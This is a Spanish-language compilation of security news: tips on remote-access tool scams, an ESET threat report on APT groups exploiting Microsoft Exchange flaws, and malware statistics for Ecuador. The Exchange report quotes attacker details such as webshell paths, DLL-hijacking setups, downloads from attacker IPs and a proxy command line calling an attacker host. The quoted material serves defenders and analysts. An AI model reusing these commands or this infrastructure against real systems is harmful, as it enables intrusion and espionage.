Una vez que el individuo se comunica con los criminales, los mismos convencen a la persona de ingresar a su cuenta bancaria para recibir una devolución de dinero y, alegando un error al ingresar el monto, la piden a la víctima un pago por la transacción ficticia. Para asegurarse persistencia en los dispositivos y tener la posibilidad de extorsionar a la víctima, los atacantes intentan convencer al usuario de descargar la herramienta y entregar el control remoto aún sin requerir la autorización del usuario, con la excusa de brindar asistencia técnica.

La facilidad de uso de estas herramientas sugiere un planteo dual: por un lado, ser asistidos por una persona de nuestra confianza es sencillo, mientras que ser infectados por un agente malicioso también lo es. Sin embargo, y a pesar de las advertencias de expertos en ciberseguridad e infraestructura, estas piezas de software siguen estando en el menú del día de compañías y usuarios desprevenidos.

Es importante tener en cuenta que las opciones de seguridad por defecto de este tipo de aplicaciones son débiles, ya que esto le facilita el uso al usuario común. Entonces, si queremos instalarlas en nuestros dispositivos, debemos tener presente algunas consideraciones en cuanto a lo que seguridad respecta:

1. Descargar las versiones oficiales

Las detecciones de código malicioso disfrazadas de versiones legítimas de estas herramientas han aumentado drásticamente, al igual que ocurrió con otras aplicaciones y herramientas populares en tiempos de pandemia, como videojuegos o apps de videoconferencia. Para evitar caer en estos engaños, debemos descargar las aplicaciones desde los sitios oficiales o desde las cuentas verificados de los fabricantes en las tiendas de aplicaciones en línea para dispositivos móviles.

2. Mantener el software actualizado

Este punto es importante para evitar la explotación de fallas de seguridad que deriven en el acceso indebido. En 2020, por ejemplo, TeamViewer lanzó una actualización para reparar la CVE 2020-13699, una vulnerabilidad que permitía a un atacante robar contraseñas de manera remota y casi sin necesidad de interacción por parte del usuario.

3. Activar el doble factor de autenticación

Esta configuración previene el ataque más frecuente en herramientas como TeamViewer, en donde los atacantes adivinan la contraseña de la cuenta de la víctima por fuerza bruta o usando combinaciones divulgadas en otros ataques, buscan los dispositivos asociados a la misma y toman control de ellos. Estos dispositivos usualmente son protegidos con una contraseña por defecto de 4 a 5 caracteres que no cuentan con bloqueos contra ataques de fuerza bruta.

4. Crear contraseñas robustas

Como mencionamos anteriormente, contraseñas débiles y aquellas ingresadas por defecto en las aplicaciones son el punto más buscado por los atacantes. Para evitarlos, debemos contar con contraseñas seguras tanto en el acceso a nuestra cuenta como al asegurar la conexión a cualquiera de nuestros dispositivos.

5. Si la herramienta lo permite, configurar una lista blanca de accesos

Esta lista permitirá configurar las conexiones a dispositivos asociados a nuestra cuenta, de forma que solo las cuentas seleccionadas puedan acceder a ellos y no extraños, aun contando con el ID y contraseña del equipo.

Fuente: www.welivesecurity.com

El equipo de ESET Research descubrió que LuckyMouse, Tick, Winnti y Calypso, entre otros grupos, estén probablemente utilizando las recientemente descubiertas vulnerabilidades en Microsoft Exchange para comprometer servidores de correo electrónico en todo el mundo.

El 2 de marzo de 2021, Microsoft lanzó parches fuera de banda para Microsoft Exchange Server 2013, 2016 y 2019. Estas actualizaciones de seguridad corrigieron una cadena de vulnerabilidades de ejecución remota de código (RCE) de autenticación previa (CVE-2021-26855, CVE- 2021-26857, CVE-2021-26858 y CVE-2021-27065) que permiten a un atacante tomar el control de cualquier servidor Exchange accesible, sin siquiera conocer las credenciales de una cuenta válida. Al momeno de escribir esta publicación detectamos webshells en más de 5.000 servidores de correo y, según fuentes públicas, varias organizaciones importantes, como la Autoridad Bancaria Europea, sufrieron este ataque.

Estas vulnerabilidades fueron descubiertas por primera vez por Orange Tsai, un conocido investigador de vulnerabilidades, quien las reportó a Microsoft el 5 de enero de 2021. Sin embargo, según una publicación en el blog de Volexity, la explotación activa de estas vulnerabilidades ya había comenzado el 3 de enero de 2021. Por lo tanto, si estas fechas son correctas, las vulnerabilidades fueron descubiertas de forma independiente por dos equipos diferentes o de alguna manera una entidad malintencionada obtuvo esa información sobre las vulnerabilidades. Microsoft también publicó una entrada en su blog sobre las primeras actividades de Hafnium.

El 28 de febrero de 2021 notamos que las vulnerabilidades eran utilizadas por otros actores de amenazas, primero Tick y rápidamente se unieron LuckyMouse, Calypso y el Grupo Winnti. Esto sugiere que varios actores de amenazas obtuvieron acceso a los detalles de las vulnerabilidades antes del lanzamiento del parche, lo que significa que podemos descartar la posibilidad de que hayan creado un exploit mediante la ingeniería inversa de las actualizaciones de Microsoft.

Finalmente, el día después del lanzamiento del parche, comenzamos a ver muchos más actores de amenazas (incluidos Tonto Team y Mikroceen) escaneando y comprometiendo servidores Exchange de forma masiva. Curiosamente, todos ellos son grupos APT interesados ​​en el espionaje, a excepción de un caso atípico que despliega un minero de criptomoneda. Un resumen de la línea de tiempo se muestra en la Figura 1.

Estadísticas de explotación

Durante los últimos días, los investigadores de ESET han estado monitoreando de cerca la cantidad de detecciones de webshell. Al momento de publicación de este artículo observamos más de 5,000 servidores únicos en más de 115 países en los cuales se advirtieron webshells. Estos números son los que refleja la telemetría de ESET y (obviamente) no están completos. La Figura 2 ilustra estas detecciones antes y después del parche de Microsoft.

El mapa de calor de la Figura 3 muestra la distribución geográfica de las detecciones de webshell, según la telemetría de ESET. Debido a la explotación masiva, es probable que represente la distribución de servidores Exchange vulnerables en el mundo en los cuales están instalados productos de seguridad de ESET.

Desde RCE hasta webshells y backdoors

Hemos identificado más de 10 actores de amenazas diferentes que probablemente aprovecharon estas recientes vulnerabilidades en Microsoft Exchange para instalar implantes en los servidores de correo electrónico de las víctimas.

Nuestro análisis se basa en servidores de correo electrónico en los que encontramos webshells en los archivos de configuración de la libreta de direcciones sin conexión (OAB), que es una técnica específica utilizada en la explotación de esta vulnerabilidad de RCE y que ya fue explicada en una publicación de Unit 42. Desafortunadamente, no podemos descartar la posibilidad de que algunos actores de amenazas puedan secuestrar los webshells droppeados por otros grupos en lugar de usar directamente el exploit.

Una vez que se explota la vulnerabilidad y se coloca el webshell en su lugar, observamos intentos de instalar malware adicional a través de él. También notamos que, en algunos casos, varios actores de amenazas apuntaban a la misma organización.

Tick

El 28 de febrero de 2021, Tick (también conocido como Bronze Butler) comprometió el servidor web de una empresa ubicada en el este de Asia que proporciona servicios de TI. Esto significa que el grupo probablemente tuvo acceso al exploit antes del lanzamiento del parche, en este caso al menos dos días antes.

El atacante usó el siguiente nombre para el webshell de la primera etapa:

C:\inetpub\wwwroot\aspnet_client\aspnet.aspx

Luego observamos un backdoor en Delphi, muy similar a los implantes Delphi utilizados por el grupo anteriormente. Las direcciones de C&C utilizadas por este backdoor son www.averyspace[.]net y www.komdsecko[.]net.

Tick ​​es un grupo de APT activo desde 2008 que apunta a organizaciones ubicadas principalmente en Japón, pero también en Corea del Sur, Rusia y Singapur, entre otras. Su principal objetivo parece ser la propiedad intelectual y el robo de información clasificada. Hace uso de varios programas maliciosos patentados como Daserf, xxmm y Datper, así como de distintos RAT de código abierto como Lilith. Tick ​​se encuentra entre los grupos de APT que ahora tienen acceso al backdoor ShadowPad, el cual se utilizó durante la Operación ENTRADE documentada por Trend Micro.

LuckyMouse

El 1 de marzo de 2021, LuckyMouse comprometió el servidor de correo electrónico de una entidad gubernamental en el Medio Oriente, lo que significa que este grupo de APT probablemente tuvo acceso al exploit al menos un día antes del lanzamiento del parche, cuando todavía era una zero-day.

Los operadores de LuckyMouse comenzaron droppeando la herramienta Nbtscan en C:\programdata\, luego instalaron una variante del webshell ReGeorg y emitieron una solicitud GET a http://34.90.207[.]23/ip usando curl. Finalmente, intentaron instalar su backdoor modular SysUpdate (también conocido como Soldier) que usa la dirección IP antes mencionada como su servidor C&C.

LuckyMouse, también conocido como APT27 y Emissary Panda, es un grupo de ciberespionaje conocido por violar múltiples redes gubernamentales en Asia Central y Medio Oriente, pero también organizaciones transnacionales, como fue el caso de la Organización de Aviación Civil Internacional (OACI) en 2016. Utiliza varias familias de malware personalizadas, como HyperBro y SysUpdate.

Calypso

El 1 de marzo de 2021, el grupo Calypso comprometió los servidores de correo electrónico de entidades gubernamentales en Medio Oriente y en América del Sur, lo que significa que el grupo probablemente tuvo acceso al exploit como zero-day, al igual que LuckyMouse y Tick. En los días siguientes, los operadores de Calypso apuntaron a servidores adicionales de entidades gubernamentales y empresas privadas en África, Asia y Europa utilizando la vulnerabilidad.

El atacante usó los siguientes nombres para el webshell de la primera etapa:

• C:\inetpub\wwwroot\aspnet_client\client.aspx
• C:\inetpub\wwwroot\aspnet_client\discover.aspx

Como parte de estos ataques, se observaron dos backdoors diferentes: una variante de PlugX específica del grupo (Win32/Korplug.ED) y un backdoor personalizado que detectamos como Win32/Agent.UFX (conocido como Whitebird en un informe de Dr.Web). Estas herramientas se cargan mediante la técnica DLL Search order hijacking contra ejecutables legítimos (también droppeado por los atacantes):

• netcfg.exe (SHA-1: 1349EF10BDD4FE58D6014C1043CBBC2E3BB19CC5) usando una DLL maliciosa nombrada netcfg.dll (SHA-1: EB8D39CE08B32A07B7D847F6C29F4471CD8264F2)
• CLNTCON.exe (SHA-1: B423BEA76F996BF2F69DCC9E75097635D7B7A7AA) usando una DLL maliciosa nombrada  SRVCON.OCX (SHA-1: 30DD3076EC9ABB13C15053234C436406B88FB2B9)
  • iPAQDetetion2.exe (SHA-1: C5D8FEC2C34572F5F2BD4F6B04B75E973FDFEA32) usando una DLL maliciosa nombrada rapi.dll (SHA-1: 4F0EA31A363CFE0D2BBB4A0B4C5D558A87D8683E)

Los backdoors fueron configurados para conectarse a los mismos servidores C&C: yolkish[.]com y rawfuns[.]com.

Finalmente, también observamos una variante de una herramienta conocida como Mimikat_ssp que está disponible en GitHub.

Calypso (que también está vinculado a XPATH) es un grupo de ciberespionaje que ha estado apuntando a instituciones gubernamentales en Asia Central, Oriente Medio, América del Sur y Asia. Su principal implante es una variante del RAT PlugX.

Esta publicación de blog muestra que no solo Hafnium usó la reciente vulnerabilidad de RCE en Exchange, sino que varias APT tuvieron acceso a ella, incluso antes del lanzamiento del parche. Aún no está claro cómo sucedió la distribución del exploit, pero es inevitable que más y más actores de amenazas, incluidos los operadores de ransomware, tengan acceso a él tarde o temprano.

Websiic

A partir del 1 de marzo de 2021, los investigadores de ESET observaron un nuevo grupo de actividades que denominamos Websiic, apuntando a siete servidores de correo electrónico que pertenecen a empresas privadas (en los dominios de TI, telecomunicaciones e ingeniería) en Asia y un organismo gubernamental en Europa del Este. Como se observó en los casos anteriores, los operadores detrás de estas actividades probablemente tuvieron acceso al exploit antes del lanzamiento del parche.

Este grupo se identificó por la presencia de un loader como su primera etapa, generalmente llamado google.log o google.aspx, y un archivo de configuración cifrado, generalmente llamado access.log. El loader detiene un servicio específico identificado en la configuración y crea una nueva entrada en el registro de servicios de Windows HKLM\SYSTEM\CurrentControlSet\Services\<servicename>\Parameters (el nombre de archivo del servicio lo proporciona la configuración). Establece dos claves ServiceDll y ServiceMain. La primera contiene la ruta a una DLL, mientras que la segunda contiene la exportación a llamar (INIT en este caso). Finalmente, reinicia el servicio que se detuvo al principio.

Si bien en todas las víctimas de este clúster el loader fue entregado, la segunda etapa (también un loader) se observó en solo una de las computadoras de la víctima y se ubicó en C:\Program Files\Common Files\microsoft shared\WMI\iiswmi.dll La DLL tiene una exportación nombrada INIT que contiene la lógica principal y utiliza el mismo loop de cifrado XOR, así como la misma técnica para resolver dinámicamente los nombres de la API de Windows como la primera etapa. Carga la siguiente %COMMONPROGRAMFILES%\System\websvc.dll con un argumento extraído de la clave de registro HKLM\SOFTWARE\Classes\Interface\{6FD0637B-85C6-D3A9-CCE9-65A3F73ADED9}. Desafortunadamente, la falta de indicadores que coincidan con los de actores de amenazas previamente conocidas nos impide sacar conclusiones o hipótesis razonables sobre el grupo o los responsables detrás de estos ataques.

En siete víctimas se detectó la presencia del primer loader y en una de ellas se identificó el segundo loader. Actualmente, no hemos vinculado a Websiic con ningún actor de amenazas conocido. Un artículo reciente de GTSC también describe brevemente el mismo grupo.

Grupo Winnti

A partir del 2 de marzo de 2021, unas horas antes de que Microsoft lanzara el parche, el Grupo Winnti (también conocido como BARIUM o APT41) comprometió los servidores de correo electrónico de una compañía petrolera y de una empresa de equipos para la construcción, ambas con sede en el este de Asia. Esto indica que este grupo de APT también tuvo acceso al exploit antes del lanzamiento del parche.

Los atacantes comenzaron droppeando webshells en las siguientes ubicaciones, según la víctima:

• C:\inetpub\wwwroot\aspnet_client\caches.aspx
• C:\inetpub\wwwroot\aspnet_client\shell.aspx

En una de las víctimas comprometidas, observamos una muestra del RAT PlugX (también conocido como Korplug) con el dominio de C&C mm.portomnail[.]com y back.rooter.tk. Tenga en cuenta que mm.portomnail[.]com fue utilizado anteriormente por el Grupo Winnti con ShadowPad y el malware Winnti. En la misma máquina, durante el mismo período de tiempo, también observamos otros malware, que aún no hemos analizados por completo, utilizando también 139.162.123[.]108 como dirección de C&C, pero al momento de escribir este artículo no sabemos si esto está relacionado con el compromiso al Exchange o no.

En el caso de la segunda víctima, observamos un loader que es muy similar a la versión 4 del loader de malware de Wintti, como el mencionado en nuestro white paper sobre el arsenal del Grupo Winnti. Al igual que vimos en ese loader v4 de Winnti, este loader se usa para descifrar un payload cifrado al disco y lo ejecuta con el siguiente comando:

srv64.exe <Decryption_Key> <Encrypted_Payload_Filename>

Donde <Decryption_key> es la clave de descifrado que se utiliza para descifrar el payload almacenado en <Encrypted_Payload_Filename>. Una vez ejecutado, este loader droppea una DLL maliciosa en la siguiente ubicación:

C:\Windows\system32\oci.dll

Esta DLL maliciosa comparte múltiples similitudes con un ya conocido implante de Winnti documentado por Trend Micro, así como también con el backdoor Spyder recientemente documentado por DrWeb y que lo hemos observado siendo utilizado por Winnti Group en el pasado. La dirección del C&C utilizada por este implante es 161.129.64[.]124:443

Además, observamos varios Mimikatz y herramientas para el volcado de contraseñas.

El Grupo Winnti, activo desde al menos 2012, es responsable de ataques de cadena de suministro de alto perfil contra la industria de videojuegos y software, llevando adelante la distribución de software troyanizado (como CCleaner, ASUS LiveUpdate y múltiples videojuegos) que luego es utilizado para comprometer a más víctimas. También es conocido por haber comprometido varios objetivos de diversos sectores, como el de la salud y la educación.

Tonto Team

El 3 de marzo de 2021, Tonto Team (también conocido como CactusPete) comprometió los servidores de correo electrónico de una empresa de adquisiciones y de una consultora especializada en desarrollo de software y ciberseguridad, ambas con sede en Europa del Este.

En ese caso, el atacante usó C:\inetpub\wwwroot\aspnet_client\dukybySSSS.aspx para el webshell de primera etapa.

Luego, el atacante usó PowerShell para descargar sus payloads desde 77.83.159 [.]15. Esos payloads consisten en executables legítimos y firmados de Microsoft que cargan una DLL maliciosa por medio de la técnica DLL Search order hijacking. La DLL maliciosa es un loader de ShadowPad. La dirección de C&C que utiliza ShadowPad aquí es lab.symantecsafe [.]Org y el protocolo de comunicación es HTTPS.

Además de ShadowPad, el atacante también hizo uso de una variante del RAT Bisonal muy similar a una variante que se usó anteriormente durante la Operación Bitter Biscuit atribuida al Equipo Tonto.

En una de las máquinas comprometidas el atacante usó una herramienta para dumper el proceso LSAS que también fue utilizado por Tonto Team anteriormente.

Tonto Team es un grupo APT activo desde al menos 2009 y que ha apuntado a gobiernos e instituciones con sede en Rusia, Japón y Mongolia. Durante más de diez años, Tonto Team ha estado utilizando el RAT Bisonal, y ahora es uno de los grupos APT que tiene acceso al backdoor ShadowPad.

Actividad de ShadowPad no atribuida

A partir del 3 de marzo de 2021, observamos el compromiso de los servidores de correo electrónico en una empresa desarrolladora de software en el este de Asia y de una empresa de bienes raíces en Medio Oriente, en las cuales fue droppeado ShadowPad. Pero al momento de escribir este artículo no pudimos atribuirlo de manera concluyente a un grupo conocido.

Los atacantes utilizaron C:\inetpub\wwwroot\aspnet_client\discover.aspx y C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\RedirSuiteServerProxy.aspx como webshells de primera etapa y colocaron ShadowPad en las siguientes ubicaciones:

• C:\Windows\Help\mui\0109\mscoree.dll
• C:\mscoree.dll

Una de las muestras de ShadowPad usa soft.mssysinfo[.]xyz como dirección de C&C usando el protocolo HTTPS, mientras que la segunda muestra usa ns.rtechs[.]org usando el protocolo DNS que es menos común.

El backdoor ShadowPad es un backdoor modular que fue de uso exclusivo del Grupo Winnti hasta finales de 2019. Hasta donde sabemos, ShadowPad ahora es utilizado por al menos cinco grupos más: Tick, Tonto Team, KeyBoy, IceFog y TA428.

Cobalt Strike

El 03 de marzo de 2021 a las 04:23 a.m. (UTC), apenas unas horas después del lanzamiento del parche, notamos que había comenzado otro conjunto de actividad maliciosa. En este punto, no sabemos si estos actores de amenazas tuvieron acceso al exploit antes o realizaron ingeniería inversa al parche. Esto corresponde a indicadores que se publicaron en Twitter y por FireEye, pero no hemos podido vincular este conjunto a ningún grupo que ya estemos rastreando.

Desde el 3 de marzo de 2021 hasta el 5 de marzo de 2021, la telemetría de ESET muestra esta actividad dirigida a alrededor de 650 servidores, principalmente en los Estados Unidos, Alemania, Reino Unido y otros países europeos. Curiosamente, este actor de amenazas fue consistente en el nombre y ubicación de su webshell de primera etapa, siempre usando
<Exchange_install_directory>\FrontEnd\HttpProxy\owa\auth\RedirSuiteServerProxy.aspx.

Luego, en algunas máquinas seleccionadas, ejecutaron un script de PowerShell, que se muestra en la Figura 4, para descargar componentes adicionales desde 86.105.18[.]116. El payload final es Cobalt Strike, que usa la misma dirección IP para su servidor de C&C. Cobalt Strike se carga mediante DLL Search order hijacking contra un ejecutable legítimo de Opera llamado opera_browser.exe (SHA-1: AB5AAA34200A3DD2276A20102AB9D7596FDB9A83) usando una DLL llamada opera_browser.dll (SHA-1: 02886F9DAA13F7D9855855048C54F1D6B1231B0A) que descifra y carga una shellcode de opera_browser.png (SHA-1: 2886F9DAA13F7D9855855048C54F1D6B1231B0A). Observamos que 89.34.111[.]11 también se utilizó para distribuir archivos maliciosos.

Backdoors IIS

A partir del 03 de marzo de 2021 observamos que, en cuatro servidores de correo ubicados en Asia y América del Sur, se utilizaron webshells para instalar los denominados backdoors IIS.

Identificamos dos familias de malware diferentes:

• Una versión modificada de IIS-Raid. Viene de una PoC lanzada en GitHub y documentada el año pasado por MDSec.
• Una variante de Owlproxy, que fue documentada el año pasado por Cycraft como parte de varios incidentes contra agencias gubernamentales taiwanesas

Mikroceen

El 04 de marzo de 2021 el grupo de APT Mikroceen comprometió el servidor de Exchange de una empresa de servicios públicos en Asia Central, que es la región a la que apunta principalmente.

Los operadores de Mikroceen empezaron droppeando webshells en  C:\inetpub\wwwroot\aspnet_client\aspnet_regiis.aspx, <Exchange_install_directory>\FrontEnd\HttpProxy\owa\auth\aspnet_error.aspx y C:\inetpub\wwwroot\aspnet_client\log_error_9e23efc3.aspx. Luego, descargaron un payload que no recuperamos de http://46.30.188[.]60/webengine4.dll. No pudimos vincular esos primeros pasos a Mikroceen con mucha confianza, pero estos indicadores aparecieron solo en el servidor específico en el cual vimos el backdoor Mikroceen unas pocas horas después..

Unas horas más tarde, un RAT Mikroceen fue droppeado en C:\Users\Public\ Downloads\service.exe. Su servidor de C&C es 172.105.18[.]72. Luego, este RAT droppeo herramientas adicionales como Mimikatz (en C:\users\public\alg.exe), Mimikat_ssp (en C:\users\public\Dump.exe) y un proxy personalizado (en C:\ Users\Public\calcx.exe). Este último fue ejecutado con la siguiente línea de comando (que muestra otra dirección IP controlada por el atacante):

calcx.exe  300 194.68.44[.]19 c:\users\public\1.log <private IP>:3128

El grupo de APT Mikroceen (también conocido como Vicious Panda) es un actor de amenazas que opera desde al menos 2017. Apunta principalmente a instituciones gubernamentales y empresas de telecomunicaciones en Asia Central, Rusia y Mongolia. Utiliza un backdoor personalizado que llamamos RAT Mikroceen.

DLTMiner

A partir del 05 de marzo de 2021 a las 02:53 a.m. (UTC), detectamos la distribución de downloaders PowerShell en múltiples servidores de correo que fueron atacados previamente usando las vulnerabilidades de Exchange.

El primer script PowerShell descarga la siguiente etapa en la siguiente ruta http://p.estonine[.]com/p?e. Artículos previos de 2019 muestran similitudes entre este grupo y una campaña de minería de criptomonedas. Se pueden encontrar más detalles sobre el análisis en los blogs de Tencentt y Carbon Black. Un reciente hilo de Twitter repasa los diversos pasos del compromiso.

No pudimos encontrar ninguna correlación en términos de webshells implementados en estos servidores. Es posible que este grupo esté secuestrando webshells previamente instalados por otros grupos de amenazas.

Resumen

Esta publicación muestra que no solo Hafnium usó la reciente vulnerabilidad de RCE en Microsoft Exchange, sino que varios grupos de APT tuvieron acceso a ella, incluso antes del lanzamiento del parche. Aún no está claro cómo sucedió la distribución del exploit, pero es inevitable que más y más actores de amenazas, incluidos los operadores de ransomware, tengan acceso a él tarde o temprano.

Ahora es momento de parchear todos los servidores de Exchange lo antes posible (consulte la guía de Microsoft). Incluso aquellos que no están directamente expuestos a Internet deben recibir parches porque un atacante con un nivel bajo de acceso o sin privilegios a su LAN puede explotar trivialmente estas vulnerabilidades para aumentar sus privilegios mientras compromete un servidor Exchange interno (y probablemente más sensible), y luego moverse lateralmente desde ahí.

En caso de compromiso, se deben eliminar los webshells, cambiar las credenciales e investigar cualquier actividad maliciosa adicional.

Finalmente, este es un muy buen recordatorio de que las aplicaciones complejas como Microsoft Exchange o SharePoint, no deberían estar abiertas a Internet ya que, en caso de explotación masiva, es muy difícil, si no imposible, parchear a tiempo.

Por cualquier consulta o para enviar muestras relacionadas con el tema, escríbanos a threatintel@eset.com.

Indicadores de Compromiso (IoCs)

A plaintext list of Indicators of Compromise (IoCs) and a MISP event can be found in our GitHub repository.

En nuestro repositorio de GitHub se puede encontrar una lista de Indicadores de Compromiso (IoC) y un evento de MISP.

Webshells

ESET detecta los webshells utilizados en estos ataques como JS/Exploit.CVE-2021-26855.Webshell.A y JS/Exploit.CVE-2021-26855.Webshell.B.

Los webshells .aspx son típicamente colocados en estas carpetas, utilizando una amplia variedad de nombres de archivo.

• C:\inetpub\wwwroot\aspnet_client\system_web\
• <Exchange install directory>\FrontEnd\HttpProxy\owa\auth\Current\themes\resources\
• <Exchange install directory>\FrontEnd\HttpProxy\owa\auth\

Archivos de malware

SHA-1	ESET detection name	Details
30DD3076EC9ABB13C15053234C436406B88FB2B9	Win32/Korplug.RT	Calypso loader for Win32/Korplug.ED
EB8D39CE08B32A07B7D847F6C29F4471CD8264F2	Win32/Korplug.RU	Calypso loader for Win32/Korplug.ED
4F0EA31A363CFE0D2BBB4A0B4C5D558A87D8683E	Win32/Agent.ACUS	Calypso loader for Win32/Agent.UFX
2075D8E39B7D389F92FD97D97C41939F64822361	Win64/HackTool.Mimikat.A	Mimikat_ssp used by Calypso
02886F9DAA13F7D9855855048C54F1D6B1231B0A	Win32/Agent.ACUQ	Opera Cobalt Strike loader
123CF9013FA73C4E1F8F68905630C8B5B481FCE7	Win64/Mikroceen.AN	Mikroceen RAT
B873C80562A0D4C3D0F8507B7B8EC82C4DF9FB07	Win64/HackTool.Mimikat.A	Mimikat_ssp used by Mikroceen
59C507BCBEFCA2E894471EFBCD40B5AAD5BC4AC8	Win32/HackTool.Proxy.A	Proxy used by Mikroceen
3D5D32A62F770608B6567EC5D18424C24C3F5798	Win64/Kryptik.CHN	ShadowPad backdoor used by Tonto Team
AF421B1F5A08499E130D24F448F6D79F7C76AF2B	Win64/Riskware.LsassDumper.J	LSASS dumper used by Tonto Team
1DE8CBBF399CBC668B6DD6927CFEE06A7281CDA4	Win32/Agent.ACGZ	PlugX injector used by the Winnti Group
B8D7B850DC185160A24A3EE43606A9EF41D60E80	Win64/Winnti.DA	Winnti loader
33C7C049967F21DA0F1431A2D134F4F1DE9EC27E	Win64/HackTool.Mimikat.A	Mimikatz used by the Winnti Group
A0B86104E2D00B3E52BDA5808CCEED9842CE2CEA	Win64/HackTool.Mimikat.A	Mimikatz used by the Winnti Group
281FA52B967B08DBC1B51BAFBFBF7A258FF12E54	Win32/PSWTool.QuarksPwDump.E	Password dumper used by the Winnti Group
46F44B1760FF1DBAB6AAD44DEB1D68BEE0E714EA	Win64/Shadowpad.E	Unattributed ShadowPad
195FC90AEE3917C94730888986E34A195C12EA78	Win64/Shadowpad.E	Unattributed ShadowPad
29D8DEDCF19A8691B4A3839B805730DDA9D0B87C	PowerShell/TrojanDownloader.Agent.CEK	DLTMiner
20546C5A38191D1080B4EE8ADF1E54876BEDFB9E	PowerShell/TrojanDownloader.Agent.CEK	DLTMiner
84F4AEAB426CE01334FD2DA3A11D981F6D9DCABB	Win64/Agent.AKS	Websiic
9AFA2AFB838CAF2748D09D013D8004809D48D3E4	Win64/Agent.AKS	Websiic
3ED18FBE06D6EF2C8332DB70A3221A00F7251D55	Win64/Agent.AKT	Websiic
AA9BA493CB9E9FA6F9599C513EDBCBEE84ECECD6	Win64/Agent.IG	IIS Backoor

Servidores de C&C

IP address / domain	Details
34.90.207[.]23	LuckyMouse SysUpdate C&C server
yolkish[.]com	Calypso C&C server
rawfuns[.]com	Calypso C&C server
86.105.18[.]116	“Opera Cobalt Strike” C&C & distribution server
89.34.111[.]11	“Opera Cobalt Strike” distribution server
172.105.18[.]72	Mikroceen RAT C&C server
194.68.44[.]19	Mikroceen proxy C&C server
www.averyspace[.]net	Tick Delphi backdoor C&C server
www.komdsecko[.]net	Tick Delphi backdoor C&C server
77.83.159[.]15	Tonto Team distribution server
lab.symantecsafe[.]org	Tonto Team ShadowPad C&C server
mm.portomnail[.]com	Winnti Group PlugX C&C server
back.rooter[.]tk	Winnti Group PlugX C&C server
161.129.64[.]124	Winnti malware C&C server
ns.rtechs[.]org	Unclassified ShadowPad C&C server
soft.mssysinfo[.]xyz	Unclassified ShadowPad C&C server
p.estonine[.]com	DLTMiner C&C server

Técnicas de MITRE ATT&CK

Nota: Esta table fue creada utilizando la versión 8 del framework MITRE ATT&CK.

Nota 2: Esta tabla incluye técnicas sobre la explotación de la vulnerabilidad y para desplegar los webshell.

Tactic	ID	Name	Description
Reconnaissance	T1595	Active Scanning	Attackers are scanning the internet in order to find vulnerable Microsoft Exchange servers.
Resource Development	T1587.004	Develop Capabilities: Exploits	Attackers developed or acquired exploits for CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065.
Initial Access	T1190	Exploit Public-Facing Application	Attackers exploited vulnerabilities in Microsoft Exchange 2013, 2016 and 2019 (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065) to gain a foothold on the email servers.
Execution	T1203	Exploitation for Client Execution	Attackers exploited vulnerabilities in Microsoft Exchange 2013, 2016 and 2019 (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065) to drop an ASPX webshell on the compromised email servers.
Persistence	T1505.003	Server Software Component: Web Shell	Attackers installed China Chopper ASPX webshells in IIS or Exchange folders reachable from the internet.

Fuente: www.welivesecurity.com

El país ocupa el primer lugar con mayor incidencia del ‘malware’ a nivel andino. El secuestro de equipos es uno de los problemas frecuentes. Foto: Pixabay.

Mientras el covid-19 se propaga por el mundo, los piratas informáticos aprovechan esta situación para expandir virus que afectan tanto a las empresas como a los usuarios del hogar. Entre los países más atacados por gusanos informáticos están Rusia, Alemania, China, Estados Unidos y Brasil. Ecuador no se libra de estos programas maliciosos. Según la empresa de seguridad Kaspersky, nuestro país se ha mantenido en la posición 49 dentro de las estadísticas de países con mayores incidencias de software malicioso o malware. A nivel andino, de acuerdo con el especialista en ciberseguridad Galoget Latorre, Ecuador ocupa el primer lugar en ataques tipo ‘ransomware’, seguido por Bolivia y Venezuela. Este código malicioso permite el secuestro de datos que solo son liberados cuando se paga un rescate. Los incidentes de seguridad en las empresas se dispararon entre el 2018 y el 2019; pero los ataques dejaron de ser masivos y se volvieron más específicos. Fue precisamente el ‘ransomware’ el que proliferó. En Latinoamérica, en el 2018, Ecuador y Venezuela sufrieron la mayor cantidad de ataques a sus empresas (22%), les siguieron Chile, Costa Rica y Panamá con 21%. En el 2019, en América Latina se mantuvieron los ataques a empresas, sobre todo en países como México y Perú. Ecuador ocupó el cuarto lugar en la región en cuanto a compañías con este problema. La modalidad del teletrabajo, por la pandemia, trajo consigo un mayor número de ataques. En Ecuador, el informe ‘ESET Security Report 2020 de Latinoamérica’ indica que el 70% de las empresas que trabajan con esta marca de antivirus en el país reportó incidentes de seguridad. Este valor, de hecho, fue el más alto en la región, solo igualado por Paraguay, que también registró ese porcentaje. En las primeras semanas de este año se observa una proliferación del ‘malware’. Una amenaza informática que prevalece es la denominada JS/Adware.Atocari, con una incidencia del 20,16% entre los virus detectados en el país.

Porcentaje de compañías que han reportado ataques de códigos maliciosos

Los bulos proliferan​Varias campañas de ataque aprovechaban temáticas del coronavirus para difundirse y motivar a que las víctimas abran los archivos adjuntos. La firma de seguridad Check­Point sostiene que, desde principios de enero del 2020, se han registrado más de 16 000 nuevos dominios relacionados con el coronavirus y cerca de un 20% de los mismos fue clasificado como potencialmente peligroso. Latorre señala que para este año se espera un incremento de nuevas variantes de amenazas informáticas, mayor complejidad y formas de infección. Por esta razón, es necesario tomar medidas para reducir el impacto del ‘malware’, lo cual se logra a través de la educación del usuario. La primera barrera de protección son las contraseñas. Estas deben ser complejas, únicas para cada servicio y deben ser cambiadas con frecuencia. Asimismo, es importante no abrir enlaces de origen desconocido, no descargar programas de fuentes no oficiales y no utilizar software pirateado, ya que estos tienen códigos maliciosos ocultos.

Fuente: www.elcomercio.com

Alertan sobre una campaña activa de distribución de criptomineros a través de archivos ZIP que se presentan como películas para descargar y que afecta principalmente a España, México y Chile.

En estos momentos donde varios países han decretado el confinamiento social para combatir el avance de la pandemia del nuevo coronavirus, los cibercriminales están aprovechando el interés por la descarga de películas pirata y están usando archivos torrent y servicios de streaming pirata para distribuir malware, alertó este martes Microsoft a través de la cuenta de Twitter del equipo de seguridad de la compañía. Por otra parte, la compañía detectó una campaña que afecta principalmente a España y otros países de Sudamérica en la que los cibercriminales agregan un script malicioso en VBS para minar criptomonedas en archivos de texto incluidos dentro de archivos ZIP que aparentan ser de películas.

